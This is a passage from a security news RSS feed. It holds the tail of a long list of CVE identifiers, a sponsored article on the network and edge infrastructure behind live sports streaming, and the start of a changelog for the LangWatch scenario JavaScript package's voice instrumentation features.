CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613,
CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618,
CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31634, CVE-2026-31638, CVE-2026-31639,
CVE-2026-31642, CVE-2026-31645, CVE-2026-31646, CVE-2026-31648,
CVE-2026-31651, CVE-2026-31655, CVE-2026-31656, CVE-2026-31658,
CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664,
CVE-2026-31665, CVE-2026-31667, CVE-2026-31670, CVE-2026-31671,
CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31675,
CVE-2026-31677, CVE-2026-31678, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31689, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31704, CVE-2026-31705,
CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709,
CVE-2026-31711, CVE-2026-31712, CVE-2026-31714, CVE-2026-31715,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31722,
CVE-2026-31723, CVE-2026-31724, CVE-2026-31725, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31729, CVE-2026-31730, CVE-2026-31731,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31740, CVE-2026-31741,
CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751,
CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756,
CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762,
CVE-2026-31763, CVE-2026-31767, CVE-2026-31768, CVE-2026-31770,
CVE-2026-31772, CVE-2026-31773, CVE-2026-31778, CVE-2026-31779,
CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43007,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43044, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43049, CVE-2026-43050, CVE-2026-43051,
CVE-2026-43052, CVE-2026-43054, CVE-2026-43056, CVE-2026-43057,
CVE-2026-43058, CVE-2026-43059, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43064, CVE-2026-43065, CVE-2026-43066,
CVE-2026-43068, CVE-2026-43069, CVE-2026-43072, CVE-2026-43073,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43081, CVE-2026-43082, CVE-2026-43084,
CVE-2026-43085, CVE-2026-43086, CVE-2026-43088, CVE-2026-43089,
CVE-2026-43091, CVE-2026-43092, CVE-2026-43093, CVE-2026-43094,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43107, CVE-2026-43109, CVE-2026-43110,
CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43129, CVE-2026-43162, CVE-2026-43245,
CVE-2026-43252, CVE-2026-43265, CVE-2026-43281, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330,
CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336,
CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43362, CVE-2026-43363, CVE-2026-43365, CVE-2026-43366,
CVE-2026-43368, CVE-2026-43370, CVE-2026-43371, CVE-2026-43372,
CVE-2026-43373, CVE-2026-43377, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43395,
CVE-2026-43397, CVE-2026-43405, CVE-2026-43408, CVE-2026-43409,
CVE-2026-43411, CVE-2026-43412, CVE-2026-43413, CVE-2026-43415,
CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436,
CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445,
CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456,
CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488,
CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43495,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43499, CVE-2026-43502,
CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45838,
CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842,
CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846,
CVE-2026-45855, CVE-2026-45858, CVE-2026-45899, CVE-2026-45911,
CVE-2026-45920, CVE-2026-45924, CVE-2026-45942, CVE-2026-45943,
CVE-2026-45956, CVE-2026-45958, CVE-2026-45985, CVE-2026-45986,
CVE-2026-45987, CVE-2026-45989, CVE-2026-45991, CVE-2026-45994,
CVE-2026-45996, CVE-2026-45997, CVE-2026-45999, CVE-2026-46002,
CVE-2026-46003, CVE-2026-46004, CVE-2026-46005, CVE-2026-46006,
CVE-2026-46007, CVE-2026-46009, CVE-2026-46011, CVE-2026-46012,
CVE-2026-46015, CVE-2026-46016, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024,
CVE-2026-46026, CVE-2026-46027, CVE-2026-46031, CVE-2026-46033,
CVE-2026-46037, CVE-2026-46038, CVE-2026-46040, CVE-2026-46041,
CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053,
CVE-2026-46056, CVE-2026-46058, CVE-2026-46061, CVE-2026-46062,
CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46068,
CVE-2026-46069, CVE-2026-46070, CVE-2026-46072, CVE-2026-46073,
CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078,
CVE-2026-46079, CVE-2026-46080, CVE-2026-46082, CVE-2026-46083,
CVE-2026-46084, CVE-2026-46086, CVE-2026-46088, CVE-2026-46089,
CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46094,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46103, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113,
CVE-2026-46114, CVE-2026-46116, CVE-2026-46117, CVE-2026-46120,
CVE-2026-46121, CVE-2026-46122, CVE-2026-46123, CVE-2026-46124,
CVE-2026-46125, CVE-2026-46126, CVE-2026-46127, CVE-2026-46128,
CVE-2026-46129, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133,
CVE-2026-46136, CVE-2026-46137, CVE-2026-46138, CVE-2026-46139,
CVE-2026-46142, CVE-2026-46143, CVE-2026-46144, CVE-2026-46145,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46152, CVE-2026-46157, CVE-2026-46159, CVE-2026-46160,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46164, CVE-2026-46167,
CVE-2026-46168, CVE-2026-46169, CVE-2026-46172, CVE-2026-46173,
CVE-2026-46174, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46179, CVE-2026-46180, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191,
CVE-2026-46193, CVE-2026-46194, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207,
CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46241, CVE-2026-46273, CVE-2026-46274, CVE-2026-46280,
CVE-2026-46282, CVE-2026-46285, CVE-2026-46286, CVE-2026-46287,
CVE-2026-46291, CVE-2026-46292, CVE-2026-46293, CVE-2026-46294,
CVE-2026-46296, CVE-2026-46299, CVE-2026-46301, CVE-2026-46303,
CVE-2026-46304, CVE-2026-46306, CVE-2026-46307, CVE-2026-46312,
CVE-2026-46314, CVE-2026-46319, CVE-2026-52911, CVE-2026-52920,
CVE-2026-52925, CVE-2026-52933, CVE-2026-52936, CVE-2026-52951,
CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964,
CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52977, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52989, CVE-2026-52990, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006,
CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014,
CVE-2026-53015, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034,
CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53039,
CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53052, CVE-2026-53056, CVE-2026-53058,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084,
CVE-2026-53085, CVE-2026-53086, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53115,
CVE-2026-53117, CVE-2026-53122, CVE-2026-53123, CVE-2026-53126,
CVE-2026-53128, CVE-2026-53130, CVE-2026-53279, CVE-2026-53287,
CVE-2026-53289, CVE-2026-53291, CVE-2026-53293, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53303, CVE-2026-53304,
CVE-2026-53306, CVE-2026-53309, CVE-2026-53314, CVE-2026-53320)]]></content:encoded>
</item>
<item>
<title><![CDATA[The technology behind every live sports moment]]></title>
<description><![CDATA[When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.



They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbin...]]></description>
<link>https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/</guid>
<pubDate>Mon, 20 Jul 2026 16:48:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.</p>



<p class="wp-block-paragraph">They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbing a traffic spike that appeared without warning.</p>



<p class="wp-block-paragraph">They just feel the moment.</p>



<p class="wp-block-paragraph">And that’s exactly how it’s supposed to work.</p>



<p class="wp-block-paragraph">And as live sports viewership pushes into territory that makes previous records look modest (driven by a generation that expects to watch anything, on any device, anywhere, without waiting), the gap between getting that delivery right and getting it wrong has never been more consequential, or more public.</p>



<p class="wp-block-paragraph"><strong>As audiences moved to digital platforms, the margin for error disappeared.</strong><strong></strong></p>



<p class="wp-block-paragraph">There is a version of this conversation that is easy to have: audiences expect more, technology has to keep up. True, but incomplete.</p>



<p class="wp-block-paragraph">Audiences have always expected live sport to work. What changed is what “working” means, and how quickly they find out when it doesn’t.</p>



<p class="wp-block-paragraph">Viewers no longer sit in front of a single screen. During a FIFA World Cup match, a household might have the main feed on the living room television, while someone else streams the highlights on a second TV in the bedroom, all while phones flash with live stats and tablets run separate commentary. From the infrastructure’s perspective, that isn’t just one household watching a game; it’s a chaotic web of concurrent demands triggered by the exact same split-second on the pitch.</p>



<p class="wp-block-paragraph">Multiply that across tens of millions of viewers, and the scale of the challenge becomes clear. Social media raises the stakes further. When a platform fails during a World Cup knockout match, audiences report it in real-time on the same platforms they use to discuss the game. The complaint travels faster than the fix.</p>



<p class="wp-block-paragraph">Broadcasters no longer have the luxury of resolving an incident before people notice. The incident becomes the story, and in many cases, travels further than the match itself.</p>



<h3 class="wp-block-heading"><strong>What these viewership numbers actually mean for infrastructure</strong></h3>



<p class="wp-block-paragraph">The shift in how people watch live sport has moved well beyond trend territory.</p>



<p class="wp-block-paragraph">EMARKETER forecasts that digital live sports audiences in the US will grow to <a href="https://www.emarketer.com/content/100-million-watch-live-sports-digital">114.1 million viewers</a>, while traditional pay TV audiences decline to 82.0 million, highlighting the continued shift toward streaming.</p>



<p class="wp-block-paragraph">The concurrency numbers generated by major sporting events now sit in a territory that would have seemed implausible a decade ago.</p>



<p class="wp-block-paragraph">During the 2026 FIFA World Cup, for instance, streaming platforms shattered every historical ceiling, highlighted by Brazil’s <a href="https://streamscharts.com/news/fifa-world-cup-2026-group-stage-livestreaming">CazéTV</a> repeatedly breaking global YouTube records for concurrent viewership during the group stage. Meanwhile, in the United States, Peacock and <a href="https://www.nbcuniversal.com/article/fifa-world-cup-2026-propels-telemundo-and-peacock-record-viewership">Telemundo’s</a> digital platforms logged an unprecedented 13 million concurrent viewers for a single knockout window. </p>



<p class="wp-block-paragraph">When tens of millions of people tune into the same live stream at the same moment, it’s a challenge unlike regular web traffic.</p>



<p class="wp-block-paragraph">Historically, massive global audiences were insulated by geography. The load was spread across distinct regional networks: antenna signals, satellite downlinks, and physical cable architectures. The physical infrastructure of traditional television inherently absorbed the impact. </p>



<p class="wp-block-paragraph">Digital streaming removes that buffer. Traffic spikes all at once, often at the most critical moment. The tighter the match, the deeper the stoppage time, the sharper the spike. Network infrastructure is forced to handle its heaviest, most volatile traffic exactly when it has zero margin for error.</p>



<p class="wp-block-paragraph">Social media compounds the pressure operationally. The second a crucial goal is scored, a wave of real-time reactions floods the internet, instantly dragging a secondary “curiosity audience” into the app. These are people who weren’t even watching the match, but saw the hype and decided to tune in, meaning the network has to absorb a massive new rush of users precisely while the primary stream is already maxing out its capacity.</p>



<p class="wp-block-paragraph">To survive these surges while satisfying a modern audience, the underlying broadcast playbook has undergone a massive structural shift. It’s no longer just about handling traffic; it’s also about using modern technology like AI to manage it intelligently.</p>



<p class="wp-block-paragraph">According to an <a href="https://www.haivision.com/blog/all/2025-broadcast-transformation-report-key-takeaways/">industry survey</a>, 25% of broadcasters integrated AI into live production workflows in 2025, a massive leap from just 9% the previous year, with 64% identifying AI as the single largest impact driver over the next five years. </p>



<p class="wp-block-paragraph">The network is no longer just delivering content. AI is now generating highlights and short clips in real time, producing millions of videos that keep fans engaged long after the live moment has passed.</p>



<p class="wp-block-paragraph">Ultimately, the technical demand is driven by a shift in what viewers expect. An <a href="https://newsroom.ibm.com/2025-08-18-ibm-study-sports-fans-demand-more-dynamic-digital-content,-powered-by-ai">IBM sports study</a> revealed that 56% of fans now want AI-driven insights layered directly onto their content, while 33% point to real-time, automated translation as the feature that most impacts their experience.</p>



<p class="wp-block-paragraph">Whether it’s one screen or several, viewers don’t notice the edge infrastructure or AI powering the experience. They just expect the game to play without interruption.</p>



<h3 class="wp-block-heading"><strong>The planning mistake most organisations make</strong></h3>



<p class="wp-block-paragraph">Capacity planning is where most organisations spend their time when preparing to stream a major event. Can the system handle a million concurrent streams? Can it scale on demand if the numbers exceed projections? These are real questions. </p>



<p class="wp-block-paragraph">The lesson is not unique to sports streaming. Every digital business now experiences moments where demand, visibility, and customer expectations collide. Peak traffic events such as flash sales, ticket releases, and viral campaigns can drive website traffic <a href="https://aws.amazon.com/blogs/apn/how-to-manage-peak-traffic-on-aws-using-queue-its-virtual-waiting-room/">2 to 25 times above normal levels within seconds</a>. The infrastructure may be different, but the pressure is remarkably similar.<br></p>



<p class="wp-block-paragraph">Large-scale system failures occur when multiple components, each functioning as expected on its own, are overwhelmed by a surge in demand, rising latency, or regional blind spots at the same time.</p>



<p class="wp-block-paragraph">The problem isn’t the individual systems. It’s how they work together.</p>



<p class="wp-block-paragraph">Latency is the factor most consistently underestimated. A few seconds of delay is not a minor inconvenience in live sport. It is a fundamentally broken experience. </p>



<p class="wp-block-paragraph">A viewer whose stream is running four seconds behind will see a notification before the decisive moment appears on screen. Someone watching a service from the privacy of their room may hear a celebration from another room before seeing it on their screen.</p>



<p class="wp-block-paragraph">Geography is another planning gap. Streaming growth is increasingly being driven by emerging markets. In Southeast Asia alone, premium video streaming subscriptions grew <a href="https://avia.org/southeast-asia-premium-vod-accelerates-in-2025-as-subscriber-growth-rebounds-ctv-scales-and-local-content-breaks-through/?utm_source=chatgpt.com">19%</a> in 2025, led by Indonesia, while viewing hours continued to climb across the region. Yet much of the world’s media infrastructure was originally designed around North American and Western European demand. An architecture that looks robust on paper can deliver very different experiences depending on where the viewer is.</p>



<p class="wp-block-paragraph">The reason is simple: physical distance still matters. Every extra hop between the viewer and the content adds latency, making it harder to deliver a consistent experience at global scale.</p>



<p class="wp-block-paragraph">Then there is the timing question. The decisions that determine whether a platform holds during the most-watched minutes of the year are not made on event day. They are made months earlier through choices around architecture, redundancy, testing, and operational readiness.</p>



<p class="wp-block-paragraph">Once an event is underway, it’s too late to redesign the architecture behind it. If your system isn’t designed to handle the pressure before the crowd arrives, it’s already too late.</p>



<h3 class="wp-block-heading"><strong>The hidden chain behind every live event</strong></h3>



<p class="wp-block-paragraph">When a streaming disruption becomes public, people naturally look for a single point of failure: the app, the platform, or the provider.</p>



<p class="wp-block-paragraph">A live event depends on dozens of systems working together, and any one of them can become a problem.</p>



<p class="wp-block-paragraph">And the experience is only as good as the weakest handoff between them.</p>



<p class="wp-block-paragraph">It all starts with the live camera feed moving from the venue to the production studio. This is a real-time stream, not a file download. If you drop even a single packet at the wrong moment, everything down the line breaks, no matter how perfect the rest of your setup is.</p>



<p class="wp-block-paragraph">Remote and cloud-based production workflows have redefined how live sports are produced, enabling broadcasters to operate with greater agility and scale. As production becomes more distributed, success increasingly depends on ensuring every stage of the delivery chain works together seamlessly.</p>



<p class="wp-block-paragraph">Each transition is a potential failure point. Managing them requires visibility that extends across providers, platforms, and networks simultaneously.</p>



<p class="wp-block-paragraph">Behind every live stream, technologies like encoding, transcoding, packaging, rights management, and ad insertion are constantly at work. If any one of them fails, the stream can go down altogether.</p>



<p class="wp-block-paragraph">Global distribution introduces another layer of complexity. Viewers in Asia, Africa, and South America may all be watching the same match, but each stream travels across different networks and infrastructure. That means performance can vary by region, and issues may affect one audience without impacting another. </p>



<p class="wp-block-paragraph">AI is increasingly helping operators detect anomalies in real time, pinpoint affected regions and trigger corrective actions before disruptions become widespread. Combined with point-to-point monitoring, it provides the visibility needed to keep live events running smoothly at global scale.</p>



<p class="wp-block-paragraph">Edge delivery is where the difference between preparation and improvisation becomes most apparent. Bringing content closer to users reduces latency, absorbs local traffic surges, and improves performance in markets with variable connectivity. </p>



<p class="wp-block-paragraph">The value of technology investments such as AI and Edge becomes clearest during the moments when demand is highest.</p>



<p class="wp-block-paragraph">Monitoring is what turns visibility into action. With AI helping analyze telemetry and detect anomalies in real time, operations teams can identify issues sooner and respond before they affect viewers. By the time customers start reporting a problem, the opportunity to prevent it has already passed.</p>



<h3 class="wp-block-heading"><strong>What reliability is actually worth</strong></h3>



<p class="wp-block-paragraph">For most of early broadcast history, audience tolerance provided some buffer. Disruptions happened. People accepted them. There was nowhere else to go, and the story rarely escaped the room.</p>



<p class="wp-block-paragraph">Neither of those things is true now.</p>



<p class="wp-block-paragraph">A streaming failure during a major match becomes public within seconds. Viewers don’t distinguish between a network issue, a processing failure, or a distribution problem; they simply see a service that failed. That single experience can shape the broadcaster’s reputation, credibility and customer loyalty, influencing whether viewers come back for the next event or recommend the service to others.</p>



<p class="wp-block-paragraph">The commercial implications are significant. Global tournaments such as the FIFA World Cup illustrate just how valuable live sports rights have become. Their return depends on reliably reaching the audience that was promised.</p>



<p class="wp-block-paragraph">Advertisers invest in live sport for one reason: to reach a large, engaged audience at the exact moment it matters most. If the stream fails during that window, the opportunity is lost. Those viewers, impressions, and advertising value cannot be recovered once the moment has passed.</p>



<p class="wp-block-paragraph">The same principle increasingly applies outside media. Customers rarely know nor care whether an outage originated in the application, the cloud environment, the network or a third-party dependency. They experience a failure of the brand. In a digital-first economy, reliability has become part of the customer experience itself.</p>



<p class="wp-block-paragraph">For broadcasters and streamers, reliability is no longer just an operational KPI. It directly influences audience trust, advertising revenue, and the long-term value of premium sports rights.</p>



<h3 class="wp-block-heading"><strong>The demands ahead are bigger</strong></h3>



<p class="wp-block-paragraph">AI-assisted production is already changing how live events are created. Broadcasters are using AI to automate highlight generation, camera selection and real-time clip packaging for social media, with new AI-assisted workflows producing sports highlights up to <a href="https://www.statsperform.com/insights/opta-pulse-launch/">80% faster</a> than traditional methods. </p>



<p class="wp-block-paragraph">All of this processing happens within the live delivery chain, where every additional task must be completed without adding latency or compromising the viewing experience.</p>



<p class="wp-block-paragraph">Personalisation at scale is the next significant challenge. Not personalisation in a vague sense, but the specific technical reality of delivering multi-language commentary tracks, different languages, different statistical overlays, and different camera angles to different viewers watching the same event simultaneously. </p>



<p class="wp-block-paragraph">Instead of one stream per event, the infrastructure has to manage a matrix of concurrent variants, each with its own encoding, storage, and delivery requirements. </p>



<p class="wp-block-paragraph">Interactive experiences add bidirectional data flows: real-time polls, integrated second-screen data, live wagering. These move data from the viewer back through infrastructure that was primarily built to push content outward. Managing that at scale is a different engineering problem from managing delivery.</p>



<p class="wp-block-paragraph">Higher-resolution formats (4K now becoming a standard expectation in premium markets, 8K moving into early deployment) are bandwidth-intensive at exactly the scale where bandwidth is already under pressure. Consumer devices are ready. Infrastructure in many high-growth markets is not uniformly there yet.</p>



<p class="wp-block-paragraph">Many of these capabilities are already being deployed for major global sporting events. The organisations investing seriously in technology, innovation, and infrastructure now are building toward a standard that will be the baseline requirement within a few years. Those that are not will be closing the gap under the worst possible conditions.</p>



<h3 class="wp-block-heading"><strong>The technology you never think about</strong></h3>



<p class="wp-block-paragraph">The broadcasters that succeed don’t leave reliability to chance. They plan for it from the outset, designing their infrastructure to handle peak demand long before the audience arrives.</p>



<p class="wp-block-paragraph">This reality hits hardest during massive global events. When a stream glitches, millions of people feel it simultaneously in a matter of seconds. Keeping those streams alive doesn’t happen by accident; it takes massive scale, intense discipline, and deep experience controlling everything from the stadium camera to the viewer’s screen.</p>



<p class="wp-block-paragraph">The lesson extends well beyond live sports. Every enterprise is becoming a real-time digital business, whether it’s delivering AI-powered applications, launching digital products, processing financial transactions, or handling a sudden surge in customer demand. Different industries may face different triggers, but the expectation is the same: the experience has to work, even when demand is at its highest.</p>



<p class="wp-block-paragraph">Delivering that level of reliability is why many of the world’s largest sports brands rely on <a href="https://www.tatacommunications.com/media-entertainment">Tata Communications</a>. Supporting the broadcast, production, and management of 80% of the world’s sporting events, and reaching more than two billion viewers across 190+ countries, Tata Communications operates in the invisible layers that make every live moment possible. We call this the “Virtual Stadium of the World”, the technology and infrastructure that connects fans, broadcasters, rights-holders, and sporting moments at a truly global scale.</p>



<p class="wp-block-paragraph">By managing the critical handoffs across contribution networks, edge processing, and global media infrastructure, we engineer the resilience required to keep 120,000 live events running flawlessly every year.</p>



<p class="wp-block-paragraph">Live sport may be the most visible test of digital infrastructure, but it won’t be the last. As AI, personalisation and real-time experiences become the norm across industries, the ability to deliver reliably at scale will define far more than match day.</p>



<p class="wp-block-paragraph">To learn more, visit us <a href="https://www.tatacommunications.com/sports?utm_source=blog&amp;utm_medium=cio&amp;utm_campaign=mes%20fifa%20campaign">here</a>.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[javascript: v0.5.4]]></title>
<description><![CDATA[0.5.4 (2026-07-20)
Features

voice: instrument base + ElevenLabs adapter with LangWatch spans (#777) (2b32872)
voice: instrument Gemini Live adapter with LangWatch spans (#780) (8ba8687)
voice: instrument OpenAI Realtime adapter with LangWatch spans (#782) (3152969)
voice: instrument Pipecat adap...]]></description>
<link>https://tsecurity.de/de/3681368/it-security-tools/javascript-v054/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681368/it-security-tools/javascript-v054/</guid>
<pubDate>Mon, 20 Jul 2026 16:19:57 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/langwatch/scenario/compare/javascript/v0.5.3...javascript/v0.5.4">0.5.4</a> (2026-07-20)</h2>
<h3>Features</h3>
<ul>
<li><strong>voice:</strong> instrument base + ElevenLabs adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/777" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/777/hovercard">#777</a>) (<a href="https://github.com/langwatch/scenario/commit/2b32872aa57b13f80e6b063425efac38a0c7604b">2b32872</a>)</li>
<li><strong>voice:</strong> instrument Gemini Live adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/780" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/780/hovercard">#780</a>) (<a href="https://github.com/langwatch/scenario/commit/8ba8687cf38849074fe97a83a0ea4733cfdec09a">8ba8687</a>)</li>
<li><strong>voice:</strong> instrument OpenAI Realtime adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/782" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/782/hovercard">#782</a>) (<a href="https://github.com/langwatch/scenario/commit/315296936f1d1465f97305431cdedba7730f9136">3152969</a>)</li>
